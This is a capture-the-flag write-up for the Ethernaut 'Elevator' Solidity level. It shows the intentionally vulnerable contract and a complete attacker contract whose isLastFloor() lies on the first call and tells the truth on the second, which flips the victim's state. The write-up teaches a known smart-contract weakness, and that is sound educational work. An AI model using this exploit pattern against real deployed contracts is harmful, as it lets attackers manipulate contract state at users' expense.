Published on

Ethernaut - Elevator - Solution

Authors

Ethernaut - Elevator - Solution

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

Solution

The goal of this level is to set top to true.

To achieve this, we need to ensure our attacker/building contract lies about the fact that the elevator reached the top floor when isLastFloor() is called the first time (so that we enter the if statement), but tells the truth when called the second time (so that we set top to true).

So, to complete the level, we can simply deploy the below attacker/building contract and call goTo(42).

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IElevator {
    function goTo(uint256 _floor) external;
}

contract ElevatorAttacker {
    IElevator public immutable VICTIM;
    uint256 public constant TOP_FLOOR = 42;

    bool public tellTheTruth;

    constructor(address victim) {
        VICTIM = IElevator(victim);
    }

    function goTo(uint256 floor) external {
        VICTIM.goTo(floor);
    }

    function isLastFloor(uint256 floor) external returns (bool) {
        if (floor == TOP_FLOOR) {
            // When the top is reached, lie when asked the first time but tell the truth when asked the second time
            if (tellTheTruth == false) {
                tellTheTruth = true;
                return false;
            } else {
                return true;
            }
        } else {
            // If the top is not reached, always tell the truth
            return false;
        }
    }
}